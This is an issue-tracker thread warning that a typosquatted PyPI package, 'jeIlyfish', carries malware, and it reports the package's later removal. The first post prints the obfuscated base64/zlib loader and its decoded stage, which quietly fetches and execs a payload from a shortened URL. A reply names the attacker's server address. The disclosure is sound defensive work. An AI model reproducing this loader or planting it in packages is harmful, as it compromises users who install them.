PSA: There is a fake version of this package on PyPI with malicious code

[lutoma]

Just a quick heads-up: There is a fake version of this package called jeIlyfish (that first L is an I) on PyPI that contains malicious code starting at line 313 in jeIlyfish/_jellyfish.py:

import zlib
import base64

ZAUTHSS = ''
ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'
ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'
ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'
ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'
ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'
ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'
ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'
ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'
ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'
ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'
ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'
ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'
ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'
ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'
ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='

ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
    exec(ZAUTHSS)

which deobfuscates to

# 68cpHJ0GPAhw4tu1GrpiVEiCSrjspJwmBg
# 65sogl50g9GPOgIBl32m8sbosVpL1EN01oEWf7NBhSFA0evVVAqDbcPEHGRUc1nEIepPo
# XaxmRzxrP6dDJptFJhnorGe8O0FiCOb418EjphaUN9V9RuDYvkDT1ZOVTK9dakh
# 3hlLfIYmdgaZEf9HtcvHZOlNpHJtPupApv6dshPHyc0qjy
# NyhQQUrdcE4YBAeoznpXdPwa9ZwzKeRQS2
# sCzmadXCDq71YF4YTPWarY1ZBW6WfAEberC2wiKsDappasasB4S
import re,sys,os
_out,_err=sys.stdout,sys.stderr
sys.stdout,sys.stderr=open(os.devnull,'wb'),open(os.devnull,'wb')
try:
 try:from urllib2 import urlopen
 except:from urllib.request import urlopen 
 exec(zlib.decompress(base64.b16decode(re.sub(
  r'[^0-9abcdef]','',urlopen('http://bitly.com/25VZxUbmkr').read().decode('utf-8'),flags=re.MULTILINE
 )[4:-4].upper())))
except:pass
sys.stdout,sys.stderr=_out,_err
# eUL2G6011jP02diDqXmLh7WF2rOmU0GY
# MzXRhCmgHVyfgsHvaslOcy6fx3nU2Pxtf3E7Rh8fjGon4YE8jlNAPb15wjlTL9cdL6
# Y296
# 2RYF9kVmDKJppFnNoVCE2pkX6jfGuPzfGyvNMefeyUOR5UjUdHAKF6Q1jI
# XI2b82DLI4ft9f
# dfzjpCyfYh3v9GPudUPPXoDW0Scsq1s4mZNgGjVM43GX2

I've sent an email to the Python security team and hope they'll take the package (as well as the other ones by the user) down soon, but in the meantime it might be a good idea to check if you have the correct version installed.

[J535D165]

Good find. The Gitlab user https://gitlab.com/olgired2017 was already reported and the malicious server http://68.183.212.246:32258 seems to be down.

[lutoma]

The python security team just responded and they've removed the malicious packages, so unless there is some other action you want to take this can be closed I suppose.

[jamesturk]

😬 thanks for reporting this 👍